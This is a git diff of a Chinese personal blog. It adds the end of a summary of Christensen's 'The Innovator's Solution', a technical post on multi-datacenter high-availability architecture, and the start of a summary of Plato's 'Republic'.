+克里斯滕森在2016年9月份的《哈佛商业评论》上发表了一篇题为“洞悉客户的待办任务”的文章，对理解用户希望购买什么样的产品这个重点进行了进一步讨论。克里斯滕森在这篇文章中认为：购买产品时，用户本质上是在“雇用”该产品帮助他们完成任务。如果完成得好，下次遇到相同任务时他们还愿意再次雇用该产品。如果完成得不好，他们就会“解雇”该产品，寻找替代产品。 + + + +克里斯滕森指出，在尼尔森从2012年到2016年《突破创新报告》评估的2万多种新产品中，只有92种在上市第一年的销售额超过了5000万美元，并在第二年维持了该销量。而这92种产品有两个共同点，要么是帮用户搞定了一个之前没有解决方案的具体任务，要么给用户提供了一个比之前解决方案更划算的解决方案。 + + + +在给你解读这本书时，我正在美国亚特兰大出差。从机场到酒店，我打了传统的出租车，花了35美元，还给了小费。从酒店到机场，我用了 Uber ，花了不到18美元。在这个消费情境下，我的任务就是解决机场和酒店间的交通问题，从方便程度、服务态度和价格等方面， Uber 都超过了传统出租车。难怪我在亚特兰大机场看到大量停在停车场的出租车时， Uber 司机说出租车的生意已经过时了。 + + + +我们总结一下第二个重点，为合适的用户提供合适的产品。在理解用户真正需求的基础上，企业要能够为用户提供合适的产品。合适的用户有两类，一类用户在为没有被满足的需求寻找全新解决方案，另一类用户在为被过度满足的需求寻找替代解决方案。合适的产品也有两种，一种是能够解决用户之前没有解决方案的待办任务的产品，另一种是能够更好地解决用户代办任务的产品。 + + + +## 第三部分 + +上面为你讲述的是本书的第二个重点，为合适的用户提供合适的产品。接下来，咱们说说应该选择合适的生产架构，在市场竞合中占据有利地位。 + + + +企业在找到合适的用户和合适的产品需求后要做什么？当然是想办法给合适的用户提供合适的产品了。克里斯滕森说，企业要想有竞争力，就要选择和用户需求相匹配的生产架构。 + + + +要理解生产架构是什么东西，我们先联想一下罗振宇说过的“U盘化生存”。罗振宇说的U盘化生存总结起来，就是十六个字：“自带信息，不装系统，随时插拔，自由协作。”罗振宇想说的意思是，在现代的分工协作社会里，学会一门手艺，就可以成为独立的自由职业者，不必像传统社会里那样，成为组织的一部分，甚至把个人固化到组织内部。 + + + +其实，罗振宇说的U盘化生存也反映了企业间竞争合作的一种形式，叫做“模块化生产”。从事模块化生产的大多是分包型企业，这些企业的优势是灵活、高效，能够用比较低的成本生产出还不错的产品。在中国，有很多OEM企业都有这个特点。他们在接到订单后，可以迅速招聘工人，调整生产流程，按客户要求把产品做好。我们可以这么说，模块化生产在很大程度上提高了企业的生产效率，降低了消费者商品的价格。但模块化生产只是企业组织生产的一种形式，或者说一个极端。另一个极端是“交互式生产”方式，采用这种生产方式的大多是整合型企业，它们从事一件产品生产的大部分核心环节，甚至是全部核心环节。 + + + +如果说分包型企业是“专业化人才”的话，整合型企业就是“综合型人才”。我们都知道，这两种人才各有优势。企业也一样。从事交互式生产的整合型企业在创新方面往往有优势，而从事模块化生产的分包型企业往往在降低成本方面有优势。 + + + +咱们拿智能手机打个比方。在智能手机行业，苹果是整合程度最高的企业，不仅有自己的全球零售店，核心硬件和软件都是自家设计，而且苹果还运营数字内容平台。因为有了整合型的生产架构，苹果公司才能比竞争对手在产品体验和核心技术创新方面做得更好。和苹果不同，其他智能手机大多用的是安卓操作系统，用的是ARM设计的芯片，模块化生产虽然可以降低成本，但也让这些手机大同小异，缺乏差异化的竞争优势。因此，最近我们看到包括华为和小米等中国企业，都在尝试自己开发芯片等核心硬件，在一定程度上从模块化企业向整合型企业转变。 + + + +实际上，在什么情况下选择模块化生产架构，什么情况下选择整合型生产架构，克里斯滕森已经在《创新者的解答》这本书里给我们总结好了。前面我们说了，用户需求分为两类，一类是没有被满足的需求需要全新解决方案，另一类被过度满足的需求需要替代解决方案。克里斯滕森认为，在需要全新解决方案的情况下，整合型生产架构更合适；在需要更高效的替代方案的情况下，模块化生产架构更合适。 + + + +我们再来看一下智能手机的例子。在 iPhone 推出之前，你们没有解决移动计算需求的好的解决方案，在这种情况下，苹果公司通过整合型生产架构，推出了全新的解决方案。等到 iPhone 推出一段时间之后，尤其价格昂贵，只服务了一少部分需要智能手机的用户，在这种情况下，谷歌推出了安卓操作系统，联合一些硬件厂商，利用模块化生产架构生产出了大量低价格的安卓手机，在一定程度上实现了对 iPhone 手机的“颠覆”。现在，智能手机竞争太激烈了，光靠模块化生产已经没什么钱可赚了，于是，华为、小米等一些有实力的手机厂商开始进行整合型的尝试。 + + + +纵观产业发展的历史，采用整合型生产架构的企业和采用模块化生产架构的企业总是你方唱罢我登场。这两类企业一起推动了产业的进步和产品的创新。例如，个人电脑行业就经历了从 IBM 的整合型生产架构，到惠普、戴尔的模块化生产架构，又到苹果的整合型生产架构的发展过程。 + + + +在这两种生产架构中，很难说一种比另外一种更好，就像很难说专业化人才比综合型人才好，或者综合型人才比专业化人才好一样。到底要采用哪种生产架构，主要取决于在第一个重点和第二个重点中讲到的用户需求和产品特点，也取决于我们将在第四个重点中讲到的组织能力。 + + + +我们总结一下第三个重点，选择合适的生产架构，在市场竞合中占据有利地位。罗振宇说的U盘化生存在企业界也存在，是企业的模块化生产架构。模块化生产适合在消费者需求被过度服务，消费者在寻找更经济的替代方案的情况。和模块化生产相对的是整合型生产，这种形式更有利于进行突破性创新，满足用户未被满足的全新需求。 + + + +## 第四部分 + +上面为你讲述的是本书的第三个重点，选择合适的生产架构。接下来，咱们说说最后一个重点，选择合适的组织结构，运用好资源、流程和价值观来引导创新。 + + + +克里斯滕森认为，不是所有的企业都能实现颠覆式创新的一个重要原因在于，企业的组织结构和能力不行。他认为，实现颠覆式创新要求企业具备三个要素：资源、流程和价值观。资源说的是企业要有进行创新的人力、物力、财力等有形和无形的资源。流程说的是企业要有高效使用这些资源的规章制度和实施保障。价值观说的是企业要把创新作为企业的核心理念，并且能够贯彻实施下去。 + + + +克里斯滕森所说的这三个要素缺一不可。首先说资源，现在有很多小企业天天喊着颠覆式创新，在自己既无粮草也无人马的时候就想颠覆大企业，这实际上是痴人说梦。小企业的优势在于灵活性，劣势在于缺乏资源。对小企业来说，只有把有限的资源集中应用到适当的地方，才有成功的可能性。这个“适当的地方”在颠覆式创新理论来看，就是用户被过度服务的地方。因为大企业有很多资源，所以它们持续在产品的某些方面进行投入，时间久了，这些产品的性能远远超过了用户所需要的性能，用户就被过度服务了。这个时候，小企业集中资源，给这些被过度服务的用户提供他们所想要的适当的服务，就很容易成功。这就是克里斯滕森为什么总是强调颠覆式创新是从低端市场开始的原因。 + + + +咱们再看看流程，流程说的是企业能不能把颠覆式创新的理念落实到日常经营中。流程和企业的组织架构密切相关，小企业和新企业的架构通常比较简单、灵活，因此，它们通常能够在颠覆式创新中取得成功。克里斯滕森认为，如果大企业也想进行颠覆式创新，就需要进行组织架构的改革，创建新的独立的部门或分公司进行颠覆式创新。 + + + +最后咱们看看价值观在颠覆式创新中的作用。如果说资源和企业“能不能”进行颠覆式创新有关，流程和企业“会不会”进行颠覆式创新有关，那么这里的价值观，说的就是企业“敢不敢”进行颠覆式创新的问题。克里斯滕森在他的另一本著名作品《创新者的窘境》中，曾经提到说：不少大企业在面对颠覆式创新机会的时候，往往会出现一系列问题，比如“看不见用户、看不起需求、看不懂模式、学不会组织、跟不上市场”——造成这种局面的根本原因，其实是这些大企业不愿也不敢进行颠覆式创新。因此，有没有敢于自我革新的勇气，并且保持组织的灵活性和成长性，决定了大企业是否能够抓住创新的机会；而有没有挑战大企业的勇气，则决定了小企业能否实现颠覆式创新。 + + + +我们总结一下第四个重点，选择合适的组织结构，保持组织的灵活性和成长性。前面三个重点说到了用户、产品、市场，但企业能否实现颠覆式创新，最终还要回到组织本身。企业要有足够的资源，要有适当的流程，更要有合适的价值观才能识别用户需求，才能提供有竞争力的产品，也才能在市场上取得优势。 + + + +## 总结 + +说到这儿，本期的内容就聊差不多了，下面来简单总结一下本期为你分享的内容。 + + + +《创新者的解答》这本书和《创新者的窘境》姊妹篇，都是创新管理大师克里斯滕森的代表作。在《创新者的窘境》那本书里，克里斯滕森主要表达的是：大企业必须从价值网的全局考虑，综合考虑用户、组织、产品和市场等多种要素，才能理解颠覆式创新的本质，才能防范其他企业利用破坏性技术对本企业的颠覆。 + + + +在这本《创新者的解答》中，克里斯滕森主要从小企业的角度，分析了企业应该如何找到用户需求缺口，提供差异化产品，根据市场情况选择合适的产品架构，并搭建灵活的组织结构。我们可以看出，在这两本书中，克里斯滕森本质上都是从用户、组织、产品和市场等四个方面，分析了大企业为何面临被创新者颠覆的窘境和小企业如何颠覆跟不上时代的大企业。 + + + +这本《创新者的解答》主要说了四个方面。第一，企业必须理解用户希望购买什么样的产品。用户是企业存在的根本，创新必须以用户的需求为导向。对企业来说，满足用户的需求是一门艺术，既不能满足不了用户需求，也不能过度满足用户需求。 + + + +第二，企业必须提供合适的产品。合适的产品指的是能帮助用户完成他们面临的任务和问题的产品。用户购买产品要的不是产品的所有权，而是雇佣产品帮助他们完成任务和解决问题。正是因为这个道理，分享经济在当今社会才方兴未艾。 + + + +第三，企业必须选择合适的生产架构。为了恰当地满足用户和提供恰当的产品，企业需要在模块化生产和整合型生产之间取得一个平衡。模块化架构虽然可以降低成本，但过度模块化也会使企业丧失创新能力。整合型架构虽然有利于创新，但过高的成本也可能造成对用户的过度服务。 + + + +第四，企业必须运用好资源、流程和价值观来引导创新。企业创新离不开资源，资源的有效运用离不开流程，但如果没有正确的创新价值观，资源可能被浪费甚至误用，流程也可能变得僵化和低效。 + + + +撰稿：管理百年工作室 + +脑图：摩西 + +转述：顾一菲 + + + +# 参考 + +转自得到 \ No newline at end of file diff --git a/_posts/2021-03-30-547-ha.md b/_posts/2021-03-30-547-ha.md new file mode 100644 index 0000000..def6c57 --- /dev/null +++ b/_posts/2021-03-30-547-ha.md @@ -0,0 +1,148 @@ +--- +layout: post +title: 高可用：异地多活 +pid: 547 +tags: [软件开发] + +--- + +## 有状态服务 + +后台服务可以划分为两类，有状态和无状态。高可用对于无状态的应用来说是比较简单的，无状态的应用，只需要通过F5或者任何代理的方式就可以很好的解决。后文描述的主要是针对有状态的服务进行分析。服务端进行状态维护主要是通过磁盘或内存进行保存，比如MySQL数据库，redis等内存数据库。除了这两种类型的维护方式，还有jvm的内存的状态维持，但jvm的状态生命周期通常很短。 + +## 高可用的一些解决方案 + +高可用，从发展来看，大致经过了这几个过程： + +- 冷备 +- 双机热备 +- 同城双活 +- 异地双活 +- 异地多活 + +在聊异地多活的时候，还是先看一些其他的方案，这有利于我们理解很多设计的缘由。 + +### 冷备 + +冷备，通过停止数据库对外服务的能力，通过文件拷贝的方式将数据快速进行备份归档的操作方式。简而言之，冷备，就是复制粘贴，在linux上通过`cp`命令就可以很快完成。可以通过人为操作，或者定时脚本进行。有如下好处： + +- 简单 +- 快速备份（相对于其他备份方式） +- 快速恢复。只需要将备份文件拷贝回工作目录即完成恢复过程（亦或者修改数据库的配置，直接将备份的目录修改为数据库工作目录）。更甚，通过两次`mv`命令就可瞬间完成恢复。 +- 可以按照时间点恢复。比如，几天前发生的拼多多优惠券漏洞被人刷掉很多钱，可以根据前一个时间点进行还原，“挽回损失”。 + +以上的好处，对于以前的软件来说，是很好的方式。但是对于现如今的很多场景，已经不好用了，因为： + +- 服务需要停机。n个9肯定无法做到了。然后，以前我们的停机冷备是在凌晨没有人使用的时候进行，但是现在很多的互联网应用已经是面向全球了，所以，任何时候都是有人在使用的。 +- 数据丢失。如果不采取措施，那么在完成了数据恢复后，备份时间点到还原时间内的数据会丢失。传统的做法，是冷备还原以后，通过数据库日志手动恢复数据。比如通过redo日志，更甚者，我还曾经通过业务日志去手动回放请求恢复数据。恢复是极大的体力活，错误率高，恢复时间长。 +- 冷备是全量备份。全量备份会造成磁盘空间浪费，以及容量不足的问题，只能通过将备份拷贝到其他移动设备上解决。所以，整个备份过程的时间其实更长了。想象一下每天拷贝几个T的数据到移动硬盘上，需要多少移动硬盘和时间。并且，全量备份是无法定制化的，比如只备份某一些表，是无法做到的。 + +如何权衡冷备的利弊，是每个业务需要考虑的。 + +### 双机热备 + +热备，和冷备比起来，主要的差别是不用停机，一边备份一边提供服务。但还原的时候还是需要停机的。由于我们讨论的是和存储相关的，所以不将共享磁盘的方式看作双机热备。 + +#### Active/Standby模式 + +相当于1主1从，主节点对外提供服务，从节点作为backup。通过一些手段将数据从主节点同步到从节点，当故障发生时，将从节点设置为工作节点。数据同步的方式可以是偏软件层面，也可以是偏硬件层面的。偏软件层面的，比如mysql的master/slave方式，通过同步binlog的方式；sqlserver的订阅复制方式。偏硬件层面，通过扇区和磁盘的拦截等镜像技术，将数据拷贝到另外的磁盘。偏硬件的方式，也被叫做数据级灾备；偏软件的，被叫做应用级灾备。后文谈得更多的是应用级灾备。 + +#### 双机互备 + +本质上还是Active/Standby，只是互为主从而已。双机互备并不能工作于同一个业务，只是在服务器角度来看，更好的压榨了可用的资源。比如，两个业务分别有库A和B，通过两个机器P和Q进行部署。那么对于A业务，P主Q从，对于B业务，Q主P从。整体上看起来是两个机器互为主备。这种架构下，读写分离是很好的，单写多读，减少冲突又提高了效率。 + +其他的高可用方案还可以参考各类数据库的多种部署模式，比如mysql的主从、双主多从、MHA；redis的主从，哨兵，cluster等等。 + +### 同城双活 + +前面讲到的几种方案，基本都是在一个局域网内进行的。业务发展到后面，有了同城多活的方案。和前面比起来，不信任的粒度从机器转为了机房。这种方案可以解决某个IDC机房整体挂掉的情况（停电，断网等）。 + +同城双活其实和前文提到的双机热备没有本质的区别，只是“距离”更远了，基本上还是一样（同城专线网速还是很快的）。双机热备提供了灾备能力，双机互备避免了过多的资源浪费。 + +在程序代码的辅助下，有的业务还可以做到真正的双活，即同一个业务，双主，同时提供读写，只要处理好冲突的问题即可。需要注意的是，并不是所有的业务都能做到。 + +业界更多采用的是两地三中心的做法。远端的备份机房能更大的提供灾备能力，能更好的抵抗地震，恐袭等情况。双活的机器必须部署到同城，距离更远的城市作为灾备机房。灾备机房是不对外提供服务的，只作为备份使用，发生故障了才切流量到灾备机房；或者是只作为数据备份。原因主要在于：**距离太远，网络延迟太大**。 + +![](/uploads/2021/03/30-01.jpeg)图1 两地三中心 + +如上图，用户流量通过负载均衡，将服务A的流量发送到IDC1，服务器集A；将服务B的流量发送到IDC2，服务器B；同时，服务器集a和b分别从A和B进行同城专线的数据同步，并且通过长距离的异地专线往IDC3进行同步。当任何一个IDC当机时，将所有流量切到同城的另一个IDC机房，完成了failover。当城市1发生大面积故障时，比如发生地震导致IDC1和2同时停止工作，则数据在IDC3得以保全。同时，如果负载均衡仍然有效，也可以将流量全部转发到IDC3中。不过，此时IDC3机房的距离非常远，网络延迟变得很严重，通常用户的体验的会受到严重影响的。 + +![](/uploads/2021/03/30-02.png)图2 两地三中心主从模式 + +上图是一种基于Master-Slave模式的两地三中心示意图。城市1中的两个机房作为1主1从，异地机房作为从。也可以采用同城双主+keepalived+vip的方式，或者MHA的方式进行failover。但城市2不能（最好不要）被选择为Master。 + +### 异地双活 + +同城双活可以应对大部分的灾备情况，但是碰到大面积停电，或者自然灾害的时候，服务依然会中断。对上面的两地三中心进行改造，在异地也部署前端入口节点和应用，在城市1停止服务后将流量切到城市2，可以在降低用户体验的情况下，进行降级。但用户的体验下降程度非常大。 + +所以大多数的互联网公司采用了异地双活的方案。 + +![](/uploads/2021/03/30-03.png)图3 简单的异地双活示意图 + +上图是一个简单的异地双活的示意图。流量经过LB后分发到两个城市的服务器集群中，服务器集群只连接本地的数据库集群，只有当本地的所有数据库集群均不能访问，才failover到异地的数据库集群中。 + +在这种方式下，由于异地网络问题，双向同步需要花费更多的时间。更长的同步时间将会导致更加严重的吞吐量下降，或者出现数据冲突的情况。吞吐量和冲突是两个对立的问题，你需要在其中进行权衡。例如，为了解决冲突，引入分布式锁/分布式事务；为了解决达到更高的吞吐量，利用中间状态、错误重试等手段，达到最终一致性；降低冲突，将数据进行恰当的sharding，尽可能在一个节点中完成整个事务。 + +对于一些无法接受最终一致性的业务，饿了么采用的是下图的方式： + +![](/uploads/2021/03/30-04.jpg) + +> 对于个别一致性要求很高的应用，我们提供了一种强一致的方案（Global Zone），Globa Zone是一种跨机房的读写分离机制，所有的写操作被定向到一个 Master 机房进行，以保证一致性，读操作可以在每个机房的 Slave库执行，也可以 bind 到 Master 机房进行，这一切都基于我们的数据库访问层（DAL）完成，业务基本无感知。 +> +> [《饿了么异地多活技术实现（一）总体介绍》](https://zhuanlan.zhihu.com/p/32009822) + +也就是说，在这个区域是不能进行双活的。采用主从而不是双写，自然解决了冲突的问题。 + +实际上，异地双活和异地多活已经很像了，双活的结构更为简单，所以在程序架构上不用做过多的考虑，只需要做传统的限流，failover等操作即可。但其实双活只是一个临时的步骤，最终的目的是切换到多活。因为双活除了有数据冲突上的问题意外，还无法进行横向扩展。 + +## 异地多活 + +![](/uploads/2021/03/30-05.png)图4 异地多活的示意图 + +根据异地双活的思路，我们可以画出异地多活的一种示意图。每个节点的出度和入度都是4，在这种情况下，任何节点下线都不会对业务有影响。但是，考虑到距离的问题，一次写操作将带来更大的时间开销。时间开销除了影响用户体验以外，还带来了更多的数据冲突。在严重的数据冲突下，使用分布式锁的代价也更大。这将导致系统的复杂度上升，吞吐量下降。所以上图的方案是无法使用的。 + +回忆一下我们在解决网状网络拓扑的时候是怎么优化的？引入中间节点，将网状改为星状： + +![](/uploads/2021/03/30-06.png)图5 星状的异地多活 + +改造为上图后，每个城市下线都不会对数据造成影响。对于原有请求城市的流量，会被重新LoadBalance到新的节点（最好是LB到最近的城市）。为了解决数据安全的问题，我们只需要针对中心节点进行处理即可。但是这样，对于中心城市的要求，比其他城市会更高。比如恢复速度，备份完整性等，这里暂时不展开。我们先假定中心是完全安全的。 + +如果我们已经将异地多活的业务部署为上图的结构，很大程度解决了数据到处同步的问题，不过依然会存在大量的冲突，冲突的情况可以简单认为和双活差不多。那么还有没有更好的方式呢？ + +回顾一下前文提到的饿了么的GlobalZone方案，总体思路就是“去分布式”，也就是说将写的业务放到一个节点的（同城）机器上。阿里是这么思考的： + +![](/uploads/2021/03/30-07.jpg)阿里理想中的异地多活架构 + +实际上我猜测很多业务也是按照上图去实现的，比如滴滴打车业务这种，所有的业务都是按城市划分开的。用户、车主、目的地，他们的经纬度通常都是在同一个城市的。单个数据中心并不需要和其他数据中心进行数据交互，只有在统计出报表的时候才需要，但报表是不太注重实时性的。那么，在这种情况下，全国的业务其实可以被很好的sharding的。 + +但是**对于电商**这种复杂的场景和业务，按照前文说的方式进行sharding已经无法满足需求了。因为业务线非常复杂，数据依赖也非常复杂，每个数据中心相互进行数据同步的情况无可避免。淘宝的解决方式和我们切分微服务的方式有点类似： + +![](/uploads/2021/03/30-08.jpeg)淘宝按照单元切分的异地多活架构 + +注意看图中的数据同步箭头。以交易单元为例，属于交易单元的业务数据，将与中心单元进行双向同步；不属于交易单元的业务数据，单向从中心单元同步。中心单元承担了最复杂的业务场景，业务单元承担了相对单一的场景。对于业务单元，可以进行弹性伸缩和容灾；对于中心单元，扩展能力较差，稳定性要求更高。可以遇见，大部分的故障都会出现在中心单元。 + +按照业务进行单元切分，已经需要对代码和架构进行彻底的改造了（可能这也是为什么阿里要先从双活再切到多活，历时3年）。比如，业务拆分，依赖拆分，网状改星状，分布式事务，缓存失效等。除了对于编码的要求很高以外，对测试和运维也有非常大的挑战。如此复杂的情况，如何进行自动化覆盖，如何进行演练，如何改造流水线。这种级别的灾备，不是一般公司敢做的，投入产出也不成正比。不过还是可以把这种场景当作我们的“假想敌”，去思考我们自己的业务，未来会怎么发展，需要做到什么级别的灾备。相对而言，饿了么的多活方案可能更适合大多数的企业。 + +本文只是通过画图的方式进行了简单的描述，其实异地多活是需要很多很强大的基础能力的。比如，数据传输，数据校验，数据操作层（简化客户端控制写和同步的过程）等。 + +## 思考 + +文末，留几个问题大家可以思考一下： + +- 假设你在做饿了么的开发，服务按照异地多活方式部署，sharding key根据省市区进行分片。假设买家在多个城市交汇的地方，比如，十字路口的四个位置分别是4个城市，那么如何处理才能让他拉到比较正常的数据？ +- 你们现在的业务模块中，哪些业务是可以做多活的，哪些无法做多活？ +- 所有的业务都要做多活吗？还是只需要核心业务做多活？ + +## 参考资料及其他资料 + +https://zhuanlan.zhihu.com/p/32009822 《饿了么异地多活技术实现（一）总体介绍》 + +https://zhuanlan.zhihu.com/eleme-arch 《饿了么框架工具部技术博客》 + +https://www.sohu.com/a/158859741_444159 《阿里异地多活与同城双活的架构演进》 + +https://help.aliyun.com/document_detail/72721.html 《阿里云 数据库异地多活解决方案》 + +https://wely.iteye.com/blog/2313293 《异地多活没那么难》 + +https://blog.dogchao.cn/?p=299 《异地多活没那么难》 \ No newline at end of file diff --git a/_posts/2021-05-08-548-TheRepublic.md b/_posts/2021-05-08-548-TheRepublic.md new file mode 100644 index 0000000..e567904 --- /dev/null +++ b/_posts/2021-05-08-548-TheRepublic.md @@ -0,0 +1,284 @@ +--- +layout: post +title: 理想国 +pid: 548 +tags: [哲学] + +--- + + + +# 关于作者 + +柏拉图，西方哲学史上最重要的哲学家之一，苏格拉底的学生。柏拉图写作了大量对话，基本上都是以苏格拉底为主人公。值得注意的是，这些内容并不一定都是如实记录苏格拉底的言行，很多是柏拉图自己对各种哲学问题的思考。怀特海曾经说过，整个欧洲的哲学传统都可以被看作是柏拉图的一串注脚。 + +# 关于本书 + +《理想国》被认为是最杰出、最流行的哲学著作，是任何国家的哲学课程里都少不了的作品，被看作是乌托邦文学的奠基文献。在书中，柏拉图将形而上学、知识论、伦理学、政治哲学、美学融合到一个追求正义本质的故事之中，探究了正义对城邦和灵魂的意义，同时构建了一个他心目中的“美丽城”。本书规模巨大，内容丰富，涉及到哲学的方方面面，再加上流畅而庄重的文风，堪称柏拉图的史诗级巨著。 + +# 核心内容 + +在《理想国》的第一部分，将首先介绍《理想国》的创作背景，以及柏拉图的政治实践与这部作品的关系；随后进入这部作品本身，讨论柏拉图想要在《理想国》里要解决的问题，也就是在寻求“正义的本质”过程中遇到的三个障碍：习俗中的正义观、现实主义的正义观、契约论的正义观。 + +## 前言 + +你好，欢迎每天听本书。这里为你解读的是古希腊哲学家柏拉图的一部作品《理想国》，由于这本书非常著名和重要，而且内容非常丰富，因此，我将会用大约82分钟的时间为你深度解读这部作品。这篇解读将分为三大部分，在第一大部分，我将为你解读，《理想国》的创作背景、地位，以及柏拉图在这部作品里要面对的核心问题，也就是在寻求“正义”定义的过程中所要面对的三个挑战。在第二大部分，我将为你解读柏拉图如何利用城邦与灵魂的类比，来解决关于正义本质的难题。在第三大部分，我将带你进入《理想国》里最核心的内容，也就是全书第五到第七卷的精髓，看看柏拉图在构建理想中的“美丽城”时提出的，关于政治和哲学的最具革命性的三个学说，也就是书中所谓的三个浪潮。 + +《理想国》是个如雷贯耳的名字，相信你肯定听说过，它经常被誉为最杰出也最流行的哲学著作，是任何国家的哲学课程里都少不了的作品，也被称为“乌托邦文学”的奠基者。但是这本书书名希腊原文的意思其实是“政体”或“政治制度”的意思，柏拉图在这部作品里面并不是仅仅讨论了“最理想的政体”，还包括不那么好的政体；此外，这里说的“政体”还引申到了人类灵魂的结构和组织，因此甚至不是一个严格的政治概念。但是因为《理想国》这个书名由来已久，最早来自日语的翻译，1929年第一个中译本出版的时候也是用的这个标题，从此就一直是这个作品最为人们熟知的标题，我们在这里也就沿用了这个标题。 + +《理想国》这部著作规模巨大，长达十卷，内容也极其丰富，涉及到哲学的方方面面，包括形而上学、知识论、伦理学、政治哲学、美学，甚至也涉及到社会学、历史学、神话学等等；再加上轻快而不失庄重的文风，《理想国》堪称柏拉图的史诗级巨著，甚至被誉为《伊利亚特》和《奥德赛》的合体。 + +在二十世纪，它又是一部引发了巨大争议的作品。英国哲学家卡尔·波普尔，也就是那个提出科学的标志在于可证伪性的哲学家，在1945年那个特殊的历史时点，提出柏拉图的这部《理想国》是集权主义理论的祖师爷，从而拉开了一场关于柏拉图政治立场的争论，这场争论可以说是旷日持久，直到今天依然余波未平。 + +在第一部分当中，我们来讲两个内容：一个是《理想国》的创作背景，以及柏拉图的政治实践与这部作品的关系；之后，我们进入这部作品本身，来看看柏拉图在《理想国》里要解决的问题，也就是苏格拉底在寻求“正义的本质”过程中遇到的难题。 + +## 第一部分 + +接下来我们先来看看：柏拉图的政治实践与这部作品的关系。柏拉图于公元前428年，出生在雅典的一个贵族家庭，从小受到了很好的教育。据说他曾经想做一个诗人，尤其想要创作悲剧，但是在大约20岁的时候，遇到了苏格拉底。在和苏格拉底的交谈之后，认为自己之前追求的生活都是不值得过的，于是一把火烧掉了自己的诗作，跟随苏格拉底投身了哲学。 + +柏拉图小的时候，雅典和斯巴达之间的那场伯罗奔尼撒战争正在如火如荼地进行，雅典在战争中和战后经历了一连串的政体改变，在寡头制的少数人统治和民主制的大众统治之间频繁更替，柏拉图都历历在目。尤其是战争之后上台的“三十僭主”，这个所谓的“三十僭主”就是一个由斯巴达扶植起来的，由三十个人组成的小的统治集团。其实严格说来是“三十寡头”，但是因为他们的统治非常残暴，人们更愿意称他们为“三十僭主”。僭主，指的就是通过政变或其他暴力手段夺取政权的独裁者。柏拉图的舅舅和表兄都是“三十僭主”的成员，甚至是其中的核心成员。但是这个三十僭主的统治没有维持多久，很快就被民主派推翻了。 + +在民主制复辟的内战里面，柏拉图的舅舅和表兄最后都被民主派杀死。但是民主制的回归也没有给柏拉图带来什么美好的记忆，自己深爱的老师苏格拉底，就是被复辟之后的民主制、被雅典的同胞判处了死刑。这些血腥的经历和记忆，让柏拉图对现实政治感到极其失望，他曾痛心地说，“现在的这些城邦，无一例外，都统治得非常糟糕！” + +苏格拉底的死对于柏拉图来讲是一生的痛，并且在哲学和政治两个方面都对柏拉图产生了持久的影响。在哲学方面，他一生都在探寻苏格拉底关心的那个问题：“什么是X？”也就是追问一个东西的本质是什么，并且发展出了“理念论”，也就是要表明，在我们身边这个可以感觉到的、流变的世界之中，不可能回答一个事物的本质是什么，我们需要超出这个世界，认识一个理念的世界，才能找到“什么是X”这个问题的答案。 + +苏格拉底的死也在政治方面深深影响着柏拉图，柏拉图要探索什么样的政治制度是最好的，尤其是什么样的政治制度能够保证苏格拉底这样的好人不会遭到迫害。他得出的结论是：除非哲学与政治结合到一起，否则就没有可能扭转现实政治的悲惨境遇。也就是说，要么让追求智慧和真理的哲学家拥有政治权力，要么让实际拥有政治权力的统治者变成哲学家，也就是“哲人王”。这个哲学与政治权力的结合，不仅是柏拉图在《理想国》里给出的终极方案，也是柏拉图一生想要努力实现的政治抱负。 + +那么，柏拉图的主张有没有成功实施呢？据说在苏格拉底死后，28岁的柏拉图离开了雅典，在其他希腊城邦、意大利和埃及这些地方游历，在大约40岁的时候，他到了叙拉古。 + +叙拉古是今天西西里岛上最强大的城邦，当时由狄奥尼修斯一世统治。柏拉图访问叙拉古的时候，结识了狄奥尼修斯一世的小舅子，当时只有大约20岁的迪翁。柏拉图非常欣赏这个既聪慧又正直的年轻人，并且和他保持了一生的友谊。当时，柏拉图试图劝说狄奥尼修斯一世研究哲学，想把这个在位的统治者变成哲学家，结果不但没有成功，反而激怒了这位统治者，被他卖成了奴隶，要不是朋友出手相救，高价赎回，我们可能就失去了这个伟大的哲学家。 + +正是这次惨痛的教训，让柏拉图意识到，想要让政治权力和哲学结合起来非常困难。那要怎么办呢？柏拉图认为，如果很难改变现有的统治者，那么他就应该从教育做起，自己着手培养下一代，培养出能够让哲学和政治结合到一起的学生。说点题外话，这多少有点像鲁迅先生当年在日本的经历。他在日本发现医学救不了人，中国的问题并不是人们的身体，而是头脑，所以鲁迅先生选择了弃医从文。柏拉图有了这个认识之后，就在雅典城外开设了学园。这个学园也成为西方最早的有固定场所和固定组织的学校，今天的“学院”这个词 academy ，就来自柏拉图的学园。据说这个学园确实培养出来一些城邦的立法者，也有一些从学园出去的学生参与到刺杀僭主暴君的政治行动中去。 + +柏拉图的学园从大约公元前383年建立，一直持续到公元529年，罗马皇帝查士丁尼安一世为了更好地保护基督教信仰，下令关闭了它。这个学园存在的九百多年里，一直是希腊哲学最重要的一面旗帜。 + +除了开设学园，和自己的同道、学生一起研究哲学之外，柏拉图自己也依然没有放弃改变现实政治的努力。公元前367年，狄奥尼修斯一世去世，继任者是他的儿子狄奥尼修斯二世，这个年轻的新国王好像很喜欢哲学，柏拉图的朋友迪翁，也就是刚才我们提到的，狄奥尼修斯一世的小舅子，作为新国王的舅舅，好像也能够对新国王施加一些影响。于是迪翁就诚挚地邀请柏拉图再次前往叙拉古，告诉他现在是培养哲人王的大好机会。 + +于是六十岁的柏拉图再次来到叙拉古，结果发现情况并不像迪翁想的那么乐观，狄奥尼修斯二世周围不但聚集着很多毫无节操和底线的谄媚者，而且还有一帮人诬陷迪翁谋反，迪翁最终被这帮人流放了。柏拉图的第二次西西里之行又以失败告终。 + +故事还没有完，公元前361年，柏拉图第三次前往西西里。这一次是狄奥尼修斯二世亲自邀请，他说自己现在真的非常热爱哲学，希望得到柏拉图的指点；而且这次邀请还带有很强的威胁意味，因为狄奥尼修斯二世掌握着迪翁和他的家人。于是已经六十七岁高龄的柏拉图第三次前往叙拉古。结果呢，还是以失败告终，因为狄奥尼修斯二世极度自负，认为自己已经掌握了所有哲学的真理，他也在宫廷里请了很多为自己“背书”的假哲学家。他请柏拉图来，并不是为了请教哲学问题，而是向柏拉图炫耀自己的知识，并且希望得到柏拉图的赞许和背书。柏拉图当然不会买这个账，愤然离去。后来迪翁组织人马，推翻了这个狂妄的狄奥尼修斯二世的统治。 + 